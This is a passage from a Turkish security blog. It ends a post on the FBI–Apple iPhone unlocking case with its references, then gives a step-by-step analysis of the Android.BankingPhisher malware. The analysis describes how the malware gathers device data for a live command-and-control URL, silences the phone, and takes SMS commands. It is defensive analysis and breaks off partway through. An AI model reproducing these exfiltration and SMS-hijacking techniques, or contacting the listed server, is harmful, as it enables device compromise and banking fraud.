<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-qvcpo3tiHug/VwNcS9hG12I/AAAAAAAADvQ/rZ695RFfHiUjqUinFlavHol_VaZSH_9Rw/s1600/Ce5MbsgXEAQIO3J.jpg-large.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="408" src="https://1.bp.blogspot.com/-qvcpo3tiHug/VwNcS9hG12I/AAAAAAAADvQ/rZ695RFfHiUjqUinFlavHol_VaZSH_9Rw/s640/Ce5MbsgXEAQIO3J.jpg-large.jpeg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Buna ek olarak imajı alınan cihazın incelenmesi için de Black Bag Technologies'den Blacklight analiz yazılımının alındığı söylenebilir.[37]</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-35S53anStZo/VwNchkvrTAI/AAAAAAAADvU/CCTOcXGOBUgRAcU09usRDCldtL7h_RTYA/s1600/Ce5IUWuXEAAm-98.jpg-large.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="https://1.bp.blogspot.com/-35S53anStZo/VwNchkvrTAI/AAAAAAAADvU/CCTOcXGOBUgRAcU09usRDCldtL7h_RTYA/s640/Ce5IUWuXEAAm-98.jpg-large.jpeg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
</div>
<br />
<b>Referanslar:</b></div>
<div style="text-align: left;">
[1] <a href="https://assets.documentcloud.org/documents/2714170/SB-Shooter-MOTION-Seeking-Asst-iPhone.pdf">https://assets.documentcloud.org/documents/2714170/SB-Shooter-MOTION-Seeking-Asst-iPhone.pdf</a><br />
[2] <a href="http://www.oguzhantopgul.com/2013/09/ios-data-protection-api-dosya-sistemi.html">http://www.oguzhantopgul.com/2013/09/ios-data-protection-api-dosya-sistemi.html</a><br />
[3] <a href="https://www.apple.com/business/docs/iOS_Security_Guide.pdf">https://www.apple.com/business/docs/iOS_Security_Guide.pdf</a><br />
[4] <a href="https://assets.documentcloud.org/documents/2714001/SB-Shooter-Order-Compelling-Apple-Asst-iPhone.pdf">https://assets.documentcloud.org/documents/2714001/SB-Shooter-Order-Compelling-Apple-Asst-iPhone.pdf</a><br />
[5]<a href="http://www.oguzhantopgul.com/2014/01/secure-boot-chain-jailbreak-detaylar-ve.html">http://www.oguzhantopgul.com/2014/01/secure-boot-chain-jailbreak-detaylar-ve.html</a><br />
[6] <a href="https://news.ycombinator.com/item?id=11119332">https://news.ycombinator.com/item?id=11119332</a><br />
[7] <a href="http://www.apple.com/customer-letter/">http://www.apple.com/customer-letter/</a><br />
[8] <a href="https://www.law.cornell.edu/uscode/text/28/1651">https://www.law.cornell.edu/uscode/text/28/1651</a><br />
[9]<a href="https://en.wikipedia.org/wiki/All_Writs_Act"> https://en.wikipedia.org/wiki/All_Writs_Act</a><br />
[10] <a href="http://blog.cryptographyengineering.com/2014/10/why-cant-apple-decrypt-your-iphone.html">http://blog.cryptographyengineering.com/2014/10/why-cant-apple-decrypt-your-iphone.html</a><br />
[11] <a href="https://blog.trailofbits.com/2016/02/17/apple-can-comply-with-the-fbi-court-order/">https://blog.trailofbits.com/2016/02/17/apple-can-comply-with-the-fbi-court-order/</a><br />
[12] <a href="http://www.zdziarski.com/blog/?p=5638">http://www.zdziarski.com/blog/?p=5638</a><br />
[13] <a href="https://www.documentcloud.org/documents/2722199-5-15-MJ-00451-SP-USA-v-Black-Lexus-IS300.html">https://www.documentcloud.org/documents/2722199-5-15-MJ-00451-SP-USA-v-Black-Lexus-IS300.html</a><br />
[14] <a href="http://www.apple.com/customer-letter/answers/">http://www.apple.com/customer-letter/answers/</a><br />
[15] <a href="http://abcnews.go.com/WNT/video/exclusive-apple-ceo-tim-cook-sits-david-muir-37174976">http://abcnews.go.com/WNT/video/exclusive-apple-ceo-tim-cook-sits-david-muir-37174976</a><br />
[16] <a href="https://www.apple.com/privacy/docs/legal-process-guidelines-us.pdf">https://www.apple.com/privacy/docs/legal-process-guidelines-us.pdf</a><br />
[17] <a href="http://www.apple.com/privacy/government-information-requests/">http://www.apple.com/privacy/government-information-requests/</a><br />
[18] <a href="http://www.zdziarski.com/blog/?p=5741">http://www.zdziarski.com/blog/?p=5741</a><br />
[19] <a href="https://medium.com/@_decius_/why-i-disagree-with-nearly-everyone-regarding-apple-and-the-fbi-58f4ace4352b#.bv61nue56">https://medium.com/@_decius_/why-i-disagree-with-nearly-everyone-regarding-apple-and-the-fbi-58f4ace4352b#.bv61nue56</a><br />
[20] <a href="http://www.businessinsider.com/bill-gates-apple-should-help-the-fbi-hack-the-san-bernardino-iphone-precedent-microsoft-2016-2">http://www.businessinsider.com/bill-gates-apple-should-help-the-fbi-hack-the-san-bernardino-iphone-precedent-microsoft-2016-2</a><br />
[21] <a href="http://www.theguardian.com/technology/2016/feb/27/apple-fbi-congressional-hearing-iphone-encryption">http://www.theguardian.com/technology/2016/feb/27/apple-fbi-congressional-hearing-iphone-encryption</a><br />
[22] <a href="https://assets.documentcloud.org/documents/2726543/Testimony-of-Bruce-Sewell-March-1-2016.pdf">https://assets.documentcloud.org/documents/2726543/Testimony-of-Bruce-Sewell-March-1-2016.pdf</a><br />
[23] <a href="http://arstechnica.com/tech-policy/2016/02/apple-prevails-in-forced-iphone-unlock-case-in-new-york-court/">http://arstechnica.com/tech-policy/2016/02/apple-prevails-in-forced-iphone-unlock-case-in-new-york-court/</a><br />
[24] <a href="https://www.documentcloud.org/documents/2728314-Orenstein-Order.html#document/p32/a280724">https://www.documentcloud.org/documents/2728314-Orenstein-Order.html#document/p32/a280724</a><br />
[25] <a href="http://judiciary.house.gov/_cache/files/781b192e-78b3-41b8-ad6c-0e01e578c0eb/comey-written-testimony.pdf">http://judiciary.house.gov/_cache/files/781b192e-78b3-41b8-ad6c-0e01e578c0eb/comey-written-testimony.pdf</a><br />
[26] <a href="https://www.apple.com/pr/library/2016/03/03Amicus-Briefs-in-Support-of-Apple.html">https://www.apple.com/pr/library/2016/03/03Amicus-Briefs-in-Support-of-Apple.html</a><br />
[27] <a href="http://arstechnica.com/wp-content/uploads/2016/03/sanbernardo.pdf">http://arstechnica.com/wp-content/uploads/2016/03/sanbernardo.pdf</a><br />
[28] <a href="https://cyberlaw.stanford.edu/files/blogs/CIS%20Technologists%20Apple%20Brief%20Final.pdf">https://cyberlaw.stanford.edu/files/blogs/CIS%20Technologists%20Apple%20Brief%20Final.pdf</a><br />
[29] <a href="https://drive.google.com/file/d/0B1h4jlD75yShYm5GaWJzWmlIZjA/view?pref=2&pli=1">https://drive.google.com/file/d/0B1h4jlD75yShYm5GaWJzWmlIZjA/view?pref=2&pli=1</a><br />
[30] <a href="https://www.documentcloud.org/documents/2762120-Reply-Brief-in-Support-of-Apple-s-Motion-to-Vacate.html">https://www.documentcloud.org/documents/2762120-Reply-Brief-in-Support-of-Apple-s-Motion-to-Vacate.html</a><br />
[31] <a href="http://www.documentcloud.org/documents/2773489-2016-03-21-Ex-Parte-Application-Dckt-191-0.html">http://www.documentcloud.org/documents/2773489-2016-03-21-Ex-Parte-Application-Dckt-191-0.html</a><br />
[32] <a href="http://www.zdziarski.com/blog/?p=5966">http://www.zdziarski.com/blog/?p=5966</a><br />
[33] <a href="https://www.reddit.com/r/jailbreak/comments/40yico/tutorial_locked_out_of_your_phone_due_to/">https://www.reddit.com/r/jailbreak/comments/40yico/tutorial_locked_out_of_your_phone_due_to/</a><br />
[34] <a href="https://www.youtube.com/watch?v=3xHm5lktvog">https://www.youtube.com/watch?v=3xHm5lktvog</a><br />
[35] <a href="https://www.eff.org/files/2016/03/28/209_govts_status_report_3.28.16.pdf">https://www.eff.org/files/2016/03/28/209_govts_status_report_3.28.16.pdf</a><br />
[36] <a href="https://www.magnetforensics.com/">https://www.magnetforensics.com</a><br />
[37] <a href="https://www.blackbagtech.com/software-products/blacklight.html">https://www.blackbagtech.com/software-products/blacklight.html</a></div>
Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-880810377140693460.post-85260197501281159362016-01-27T14:51:00.000+02:002016-01-27T15:29:57.599+02:00Android.BankingPhisher Zararlı Yazılımı Detaylı Analizi<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-W5RluTFGu-I/VqiuN78My7I/AAAAAAAADj8/11XmUHzqQmA/s1600/5554_Android50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="281" src="http://2.bp.blogspot.com/-W5RluTFGu-I/VqiuN78My7I/AAAAAAAADj8/11XmUHzqQmA/s320/5554_Android50.png" width="320" /></a></div>
<br />
Bu yazıda uygulama adı <span style="font-family: "courier new" , "courier" , monospace;">FlashUpdate.apk</span> ve paket ismi <span style="font-family: "courier new" , "courier" , monospace;">com.android.alarm</span> olan SHA-1 hash değeri <span style="font-family: "courier new" , "courier" , monospace;">8f53d3abc301b4fbb7c83865ffda2f1152d5e347</span> olan Android zararlı yazılımı incelenecektir. İlgili zararlı yazılım, analizi zorlaştırmak amacıyla kod bulanıklaştırma (code obfuscation) kullanmıştır. Analiz sırasında birçok sınıf, değişken, metot ismi yeniden isimlendirilmiştir. Bu sebeple raporda yer alan bu değerlerin zararlı yazılım geliştiricisinin yapmış olduğu isimlendirme ile örtüşmeyeceği göz önünde bulundurulmalıdır.</div>
<div style="text-align: justify;">
<br />
Teknik detaylar ile ilgilenmeyenler direkt olarak sonuç bölümünü okuyarak zararlı yazılım hakkında genel bir bilgiye sahip olabilirler.<br />
<br />
<a name='more'></a></div>
<h2 style="text-align: justify;">
Teknik Analiz</h2>
<div style="text-align: justify;">
Uygulamaya ait <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyası incelendiğinde uygulamanın giriş noktasının MainActivity activity komponenti olduğu görülmektedir. Şekil 1’de <span style="font-family: "courier new" , "courier" , monospace;">AndroidManifest.XML</span> dosyasından bir kesit gösterilmiştir. </div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-TQjuSzgfAvI/Vqh1U1hy3TI/AAAAAAAADVI/1zMLq16hlJs/s1600/0-AndroidManifestMainActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="136" src="http://4.bp.blogspot.com/-TQjuSzgfAvI/Vqh1U1hy3TI/AAAAAAAADVI/1zMLq16hlJs/s640/0-AndroidManifestMainActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 1 AndroidManifest.XML dosyası içerisinde MainActivity komponentinin görüntüsü</td></tr>
</tbody></table>
<h3 style="text-align: justify;">
MainActivity Activity</h3>
<div style="text-align: justify;">
</div>
1. MainActivity'de ilk yaptığı şey SDCard "Downloads" klasöründeki tüm dosyaları silmektir. İlgili kod parçası Şekil 2’de gösterilmektedir.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-fJK5_-bjZB0/Vqh2N4-yLrI/AAAAAAAADVg/GzKml9OE7xQ/s1600/1-MainActivity-Delete-SDCard-Downloads-Folder-Contents2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="128" src="http://4.bp.blogspot.com/-fJK5_-bjZB0/Vqh2N4-yLrI/AAAAAAAADVg/GzKml9OE7xQ/s640/1-MainActivity-Delete-SDCard-Downloads-Folder-Contents2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 2 SDCard Downloads klasöründeki dosyaları silen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
2.<span class="Apple-tab-span" style="white-space: pre;"> </span>Daha sonra uygulamanın çalıştığı cihazın Android sürümünü kontrol ediyor. Eğer cihaz versiyonu Android 3.0'dan düşükse veya Android 5.1'den büyükse uygulama çalışmamaktadır. İlgili kod parçası Şekil 3’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/--_2oUBCFTxE/Vqh2Vjg6u_I/AAAAAAAADVs/LJHLxas_mBk/s1600/2-MainActivity-CheckForAndroidSDK-Version2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="152" src="http://3.bp.blogspot.com/--_2oUBCFTxE/Vqh2Vjg6u_I/AAAAAAAADVs/LJHLxas_mBk/s640/2-MainActivity-CheckForAndroidSDK-Version2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 3 Android versiyonunu kontrol eden kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
3.<span class="Apple-tab-span" style="white-space: pre;"> </span>Bir sonraki adım bir sharedPreferences dosyası oluşturup <span style="font-family: "courier new" , "courier" , monospace;">deleted = 0</span>, <span style="font-family: "courier new" , "courier" , monospace;">common = 0</span> set etmek. Ardından da rastgele bir UUID değeri üretip bu değeri iki kere Base64 kodlama işlemi yaptıktan sonra sharedPreferences dosyasına uid key’i ile kaydetmektir. İlgili kod parçası Şekil 4’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-QXmA9Wtgz5w/Vqh2j8fuwYI/AAAAAAAADV4/ZmWRRIjMIYM/s1600/3-writeTosharedPreferences2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="56" src="http://4.bp.blogspot.com/-QXmA9Wtgz5w/Vqh2j8fuwYI/AAAAAAAADV4/ZmWRRIjMIYM/s640/3-writeTosharedPreferences2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 4 Shared Preferences dosyası oluşturup ilgili değerleri giren kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
UUID değeri üretilirken Şekil 5’te yer alan kod kullanılmaktadır.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-fmCyW24xb3w/Vqh2xQYYynI/AAAAAAAADWE/tM6svazcVA4/s1600/4-createBase64EncodedUUID2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="208" src="http://4.bp.blogspot.com/-fmCyW24xb3w/Vqh2xQYYynI/AAAAAAAADWE/tM6svazcVA4/s640/4-createBase64EncodedUUID2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 5 UUID değerini üreten kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
4.<span class="Apple-tab-span" style="white-space: pre;"> </span>Bir sonraki adımda cihaza ait bilgiler (model, telefon numarası, IMEI numarası, sdk versiyonu, vb) toplanarak http://193.201.227.26/test231215g/testgate.php</div>
<div style="text-align: justify;">
Adresine gönderilmektedir. İlgili kod Şekil 6’te gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-4mqIs1625Qc/Vqh2736jOeI/AAAAAAAADWQ/zO4wsNBi_Ts/s1600/5-collectDataAndSendToCCServer2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="70" src="http://1.bp.blogspot.com/-4mqIs1625Qc/Vqh2736jOeI/AAAAAAAADWQ/zO4wsNBi_Ts/s640/5-collectDataAndSendToCCServer2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 6 Cihaz bilgilerinin toplanması ve C&C sunucusuna gönderilmesini tetikleyen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Toplanan cihaz bilgileri ile bir JSON objesi oluşturulmaktadır. Cihaz bilgilerinin toplanması ve JSON objesinin oluşturulmasını sağlayan kod parçası Şekil 7’da gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-K9uzij3Bczc/Vqh3ELp1RTI/AAAAAAAADWc/-Ioh-Ai8zIw/s1600/6-collectDeviceInfo2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="374" src="http://4.bp.blogspot.com/-K9uzij3Bczc/Vqh3ELp1RTI/AAAAAAAADWc/-Ioh-Ai8zIw/s640/6-collectDeviceInfo2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 7 Cihaz bilgilerinin toplanması ve JSON objesinin oluşturulması<span style="text-align: justify;"> </span></td></tr>
</tbody></table>
<div style="text-align: justify;">
Oluşturulan bir JSON objesi bir String ifadesi haline getirilerek CC sunucusuna gönderme işlemini yapacak bir asenkron task’a (yeni bir thread’e) verilmektedir. (Bu asenkron task bulanıklaştırmanın tersine çevrilmesi işlemi sırasında <span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span> olarak isimlendirilmiştir) Bir HTTP POST talebi ile data, Base64 kodlanarak gönderilmektedir. Oluşturulan JSON string’ini C&C sunucusuna gönderen kod parçası Şekil 8’de gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-HIkkBaCg7Qg/Vqh3Xpjo0rI/AAAAAAAADWo/vd31nSUZuzc/s1600/7-SendDeviceInfo2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="242" src="http://1.bp.blogspot.com/-HIkkBaCg7Qg/Vqh3Xpjo0rI/AAAAAAAADWo/vd31nSUZuzc/s640/7-SendDeviceInfo2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 8 Oluşturulan JSON String’ini C&C sunucusuna gönderen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
C&C sunucusunun URL’i uygulama içerisinde şifreli olarak tutulmaktadır. Şifre çözme işlemi tamamlandıktan sonra bu değer bir başka sınıf içerisindeki sabit bir değişkene atanmaktadır.</div>
<div style="text-align: justify;">
Şifreli URL’in bulunduğu sınıfa ait ekran görüntüsü Şekil 9’de gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-NYAYwco7yPI/Vqh3nYzwatI/AAAAAAAADW0/MIXOP2PH144/s1600/8-EncrptedURL.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="252" src="http://4.bp.blogspot.com/-NYAYwco7yPI/Vqh3nYzwatI/AAAAAAAADW0/MIXOP2PH144/s640/8-EncrptedURL.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 9 C&C sunucusuna ait adresin şifreli olarak bulunduğu kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Bu şifreli String dizisi içerisinde 7 farklı değer bulunmaktadır ve dizinin ilk elemanı bağlantı kurulacak C&C sunucusuna ait adresi vermektedir.</div>
<div style="text-align: justify;">
Yukarıdaki şifreli dizinin çözülmüş haline ait ekran görüntüsü Şekil 10’da gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-WF8LQilMSHY/Vqh3ssj8H4I/AAAAAAAADXA/gZqJN_i2jks/s1600/9-TestGateDecryptedURL.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="104" src="http://1.bp.blogspot.com/-WF8LQilMSHY/Vqh3ssj8H4I/AAAAAAAADXA/gZqJN_i2jks/s640/9-TestGateDecryptedURL.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 10 C&C sunucusuna ait adresin şifresinin çözülmüş hali</td></tr>
</tbody></table>
<div style="text-align: justify;">
C&C Sunucusuna gönderilen bu HTTP talebine ait ekran görüntüsü Şekil 11’da verilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-7qRe6XQ8tks/Vqh30HU5VKI/AAAAAAAADXY/hSmvkA9ePYk/s1600/10-FirstRequestToCCServer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="224" src="http://4.bp.blogspot.com/-7qRe6XQ8tks/Vqh30HU5VKI/AAAAAAAADXY/hSmvkA9ePYk/s640/10-FirstRequestToCCServer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 11 C&C Sunucusuna gönderilen HTTP talebi</td></tr>
</tbody></table>
<div style="text-align: justify;">
Gönderilen talep içerisindeki Base64 kodlanmış data çözüldüğünde ortaya çıkan JSON objesi Şekil 12’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-aotxPRYvcuc/Vqh32tE_hVI/AAAAAAAADXk/dlZFbpC2fO8/s1600/11-RequestBase64DecodedContents.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="207" src="http://4.bp.blogspot.com/-aotxPRYvcuc/Vqh32tE_hVI/AAAAAAAADXk/dlZFbpC2fO8/s400/11-RequestBase64DecodedContents.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 12 C&C Sunucusuna gönderilen HTTP talebi içerisindeki JSON objesi</td></tr>
</tbody></table>
<div style="text-align: justify;">
Gönderilen bu HTTP POST talebine sunucudan gelen cevap işlenerek sunucunun cihazdaki zararlı yazılıma göndermiş olduğu komutlar işleme alınır. Sunucudan gelen HTTP yanıtı içerisindeki komutu işleyen fonksiyona ait kod parçaları Şekil 13’de verilmiştir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-1kv9o27vdzM/Vqh3528YohI/AAAAAAAADXw/ugOP5zUzrak/s1600/12-ProcessServerResponse1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="288" src="http://2.bp.blogspot.com/-1kv9o27vdzM/Vqh3528YohI/AAAAAAAADXw/ugOP5zUzrak/s640/12-ProcessServerResponse1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 13 C&C Sunucusundan gelen komutlar</td></tr>
</tbody></table>
<div style="text-align: justify;">
a)<span class="Apple-tab-span" style="white-space: pre;"> </span>Gelen HTTP cevabının data bölümünde <span style="font-family: "courier new" , "courier" , monospace;">stop_sms_grab</span> string’i yer alıyorsa uygulamaya ait shared preferences dosyasına <span style="font-family: "courier new" , "courier" , monospace;">smsgrab</span> adlı key değeri eklenecek ve bu key değerine ait değer 0 olarak ayarlanacaktır. Benzer bir şekilde sunucudan <span style="font-family: "courier new" , "courier" , monospace;">start_sms_grab</span> string’ini içeren bir yanıt geldiyse bu durumda <span style="font-family: "courier new" , "courier" , monospace;">smsgrab</span> key değeri 1 olarak ayarlanacaktır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
b)<span class="Apple-tab-span" style="white-space: pre;"> </span>Gelen cevap içerisinde yer alan komut <span style="font-family: "courier new" , "courier" , monospace;">opendialog</span> ise shared preferences dosyasındaki <span style="font-family: "courier new" , "courier" , monospace;">common</span> isimli key için 1 değeri atanacak; <span style="font-family: "courier new" , "courier" , monospace;">closedialog</span> ise 0 değeri atanacaktır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
c)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen cevap <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> ise shared preferences dosyasındaki <span style="font-family: "courier new" , "courier" , monospace;">common</span> isimli key için 0 değeri atanacak ve uygulamaya ait broadcast receiver ve servisleri durduran bir fonksiyon çağırılacaktır. Bu fonksiyona ait kod parçası Şekil 14’te gösterilmektedir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-jxr3jSyHAiE/Vqh4BRVIZBI/AAAAAAAADX8/Vjk6NPYHlnU/s1600/14-DisableComponents.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="216" src="http://4.bp.blogspot.com/-jxr3jSyHAiE/Vqh4BRVIZBI/AAAAAAAADX8/Vjk6NPYHlnU/s640/14-DisableComponents.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 14 Uygulamadaki Broadcast Receiver ve Service komponentlerini durduran fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
İlgili fonksiyon çağırıldığında <span style="font-family: "courier new" , "courier" , monospace;">SmsReceiver</span>, <span style="font-family: "courier new" , "courier" , monospace;">NetworkController</span>, <span style="font-family: "courier new" , "courier" , monospace;">NetworkRestartReceiver</span>, <span style="font-family: "courier new" , "courier" , monospace;">AdminRestartReceiver</span> isimli broadcast receiver komponentlerini devre dışı bırakmakta; <span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> ve <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> isimli service komponentlerini durdurmaktadır.</div>
<div style="text-align: justify;">
d)<span class="Apple-tab-span" style="white-space: pre;"> </span>Eğer sunucudan gelen komut <span style="font-family: "courier new" , "courier" , monospace;">phnumb</span> ise gelen cevap içerisindeki telefon numarası shared preferences dosyasına <span style="font-family: "courier new" , "courier" , monospace;">phnumb</span> key değerine karşılık gelecek şekilde kaydedilecektir.</div>
<div style="text-align: justify;">
e)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen cevap <span style="font-family: "courier new" , "courier" , monospace;">sms_send</span> ise cevap içerisinde yer alan JSON objesi parse edilerek ilgili telefon numarasına ilgili SMS içeriği ile bir SMS mesajı gönderilmesini sağlayacak bir asenkron task (thread) çalıştırılır. İlgili kod parçası Şekil 15’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-83bczjpIbok/VqiEHNx_OzI/AAAAAAAADiQ/8fOTLmz5WZQ/s1600/13-ProcessServerResponse2%2B2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="72" src="http://2.bp.blogspot.com/-83bczjpIbok/VqiEHNx_OzI/AAAAAAAADiQ/8fOTLmz5WZQ/s640/13-ProcessServerResponse2%2B2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px; text-align: justify;">Şekil 15 </span><span style="font-size: 12.8px;">Sunucudan sms_send komutu gelmesi durumunda çağırılan asenkron task</span></td></tr>
</tbody></table>
<div style="text-align: justify;">
Bu yeni thread içerisinde öncelikle shared preferences dosyasındaki <span style="font-family: "courier new" , "courier" , monospace;">smsgrab</span> key’inin 1 değerine çekilir ardından cihaz sessiz ve titreşim moduna alınır. Bu sayede cihaza gelen herhangi bir SMS’in cihazda sesli uyarı vermemesi sağlanır. Titreşim süresinin 0 olarak ayarlanması ile de cihazın sesli uyarı dışında titreşim uyarısı da vermesi engellenmiş olur. Asenkron task içerisinde bu fonksiyonun üçüncü adımı olarak HTTP yanıtı içerisinde gelen JSON objesi parse edilir ve içerisindeki verilerle ilgili telefon numarasına SMSManager sınıfı kullanılarak bir SMS mesajı gönderilmektedir. İlgili kod parçası Şekil 16’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-Q4aGhP4tf6c/Vqh4yzYFH6I/AAAAAAAADYU/RQm3G_4arHM/s1600/15-SendSMSReportDelete.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="238" src="http://3.bp.blogspot.com/-Q4aGhP4tf6c/Vqh4yzYFH6I/AAAAAAAADYU/RQm3G_4arHM/s640/15-SendSMSReportDelete.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 16 C&C sunucusundan gelen telefon numarasına yine sunucudan gelen içerikle SMS gönderen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
SMS mesajı göndermeyi sağlayan fonksiyona ait ekran görüntüsü Şekil 17’da verilmiştir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
